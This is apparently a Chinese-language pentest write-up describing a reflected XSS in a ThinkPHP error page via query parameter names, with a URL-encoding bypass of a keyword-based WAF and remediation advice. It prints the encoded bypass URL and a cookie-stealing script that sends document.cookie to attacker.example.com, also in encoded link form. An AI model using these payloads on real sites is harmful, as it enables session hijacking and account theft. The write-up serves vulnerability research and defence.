在一次安全測試中,我發現目標站點在錯誤處理頁面對用戶輸入的查詢參數名未做任何轉義,當參數名中包含 <script> 標簽時,頁面會原樣渲染并執行其中的 JavaScript。本文將從實戰角度,詳細講解如何定位該反射型 XSS 漏洞、通過 URL 編碼繞過 WAF 攔截,以及最終利用 PoC 在瀏覽器端觸發 alert 彈窗的全過程。
一、漏洞定位與原理
1.訪問錯誤頁面及確認反射點:
對某網址 https://xxxxxxx/index/newslist/newsinfo.html 加入任意參數(如 ?foo=1),觸發 ThinkPHP 拋出異常的錯誤頁,并在“GET Data”區域看到未轉義的 foo,發現加入的任意參數直接反映在文本元素,表明 ThinkPHP 將 GET 參數名當作方法參數名并渲染到模板中,由此定位源碼位置。
2.錯誤位點代碼刨析及進一步測試:
2.1?錯誤頁面中“GET Data”渲染位置
<div class="exception-var"><h3 class="subheading">GET Data</h3><div class="clearfix"><div class="col-md-3"><strong>foo</strong></div><div class="col-md-9"><small>1</small></div></div>…
</div>
<strong>foo</strong>
正是用戶在 URL 中以 ?foo=1 提交的參數名被原樣輸出的位置。
該 <strong> 標簽位于 <body> 內容區,瀏覽器會將其中的內容當作合法 HTML 片段直接渲染。
2.2?反射點觸發測試及WAF繞過機制
HTML 元素內容(Element Content),不在屬性或 JavaScript 字符串里,若將 foo 替換成
<script>alert(1)</script>
則頁面會直接觸發網絡防火墻的攔截機制,這里被“G01”WAF 攔截,返回提示“含有不合法的參數”。:
到這里我就在思考:既然 WAF 的“G01”規則是基于對 <script>
onerror 等經典 XSS 特征關鍵字的簡單匹配的通用規則。當你發出含有 <script> 關鍵字的請求時,WAF 會直接攔截并返回“含有不合法參數”的提示。只要我的 payload 中保留了這幾個字符,都會被攔截,那么我是否可以通過對 <
、>
、(
、)
等關鍵字符做 URL 編碼或者大小寫混合,來“隱身”進入服務器而不觸發規則?首先,我想到對整個標簽進行百分號編碼:
%3Cscript%3Ealert(1)%3C%2Fscript%3E
將這段編碼后的字符串放到參數名的位置,構造 URL:
https://…/newsinfo.html?%3Cscript%3Ealert(1)%3C%2Fscript%3E=1
似乎依然會被攔截。
G01 規則多是大小寫不敏感的,但對連續關鍵字匹配敏感,我們再次針對以上URL中(1)進行URL編碼根據Unicode規則%28為
(
%29為
)
所以構造的URL編碼為:
?%3Cscript%3Ealert%281%29%3C%2Fscript%3E=1
其解碼等同于
<script>alert(1)</script>=1
當這段 <script>alert(1)</script> 被服務器“原樣”反射到頁面上,并且未做任何轉義時,瀏覽器就會執行它。至此我們再次訪問該地址
表明WAF 繞過成功且XSS 漏洞已被成功利用,服務器沒有對用戶輸入的 <script> 標簽做任何過濾或轉義,直接反射到頁面,瀏覽器正常執行了腳本。alert(1) 這行 JavaScript 的效果是彈出對話框,顯示數字 1。所以你看到的彈窗內容是 “1”,而不是字面上的 alert(1)。
alert() 函數把它的參數原樣當作要顯示的內容。你傳進去的是數字 1,所以彈窗只顯示 1。如果你想驗證文字“XSS被執行",可以改成:
如果有非法分子利用醫療機構掛號預訂網站的類似漏洞,通過遠程劫持,即可構造出具有欺詐性的界面,并同時結合社會工程學手段進行進一步攻擊。此處給出一個簡單的惡意信息例如:
由此可見,WAF 僅基于簡單關鍵字匹配,缺乏對 URL 解碼與多樣化 payload 的深入檢測,而后端又未對反射點做任何輸出轉義,于是繞過與利用便水到渠成。
2.3 進一步確認與遠程劫持
在成功壓制 WAF 攔截后,我進一步在 DevTools → Elements 中確認,頁面的 DOM 結構正如預期:
并且在 Console 標簽頁中能看到 alert 的日志,說明腳本已完整執行。這不僅意味著反射型 XSS 漏洞確實存在,而且由于篡改發生在參數名層面,更難以通過常規的參數值過濾策略檢測到。
利用此反射型 XSS 漏洞,攻擊者只需將如下惡意腳本作為參數名注入,即可在受害者瀏覽器中自動竊取其會話 Cookie 并上報到自己可控的服務器,從而實現遠程會話劫持:
<script>new Image().src="https://attacker.example.com/steal?cookie="+encodeURIComponent(document.cookie);
</script>
具體流程是:當受害者點擊含有
%3Cscript%3Enew Image().src%3D%22https%3A%2F%2Fattacker.example.com%2Fsteal%3Fcookie%3D%22%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E
的惡意鏈接后,瀏覽器會執行該腳本,將其 Cookie 以 GET 請求的形式發送給攻擊者;然后攻擊者只需在自己的腳本服務器(例如 attacker.example.com)上監聽并記錄來訪請求,就能獲得該用戶的 SessionID 或認證令牌,使用這些令牌偽造合法請求,以該用戶身份在目標站點進行任意操作,完成遠程會話劫持。
3.漏洞根源:
源碼顯示,這段邏輯源于 ThinkPHP 在拋出 InvalidArgumentException('method param miss:'.$name) 后渲染異常變量時,直接將 $name(即查詢參數名)拼入 HTML:
缺少 htmlspecialchars($key, ENT_QUOTES, 'UTF-8') 之類的實體化處理。導致任意 HTML 標簽或 JavaScript 片段都可通過參數名被注入并執行。
4.?后記-修復建議:
小白的一次簡單的測試,提不出什么好的意見,以下僅供參考:
首先應該在框架層對所有用戶輸入(包括查詢參數名和值)統一使用 htmlspecialchars 等 HTML 實體化函數進行轉義,并升級到最新 ThinkPHP 版本;在應用層嚴格采用參數白名單和類型校驗,只接受預期字段,其余一律拒絕;在視圖模板中統一使用轉義過濾器輸出動態內容;運維層通過配置嚴格的 Content Security Policy(CSP)禁止內聯腳本,并精細化 WAF 規則,不再簡單匹配 <script> 關鍵字。
免責聲明
本文僅用于技術討論與學習,利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。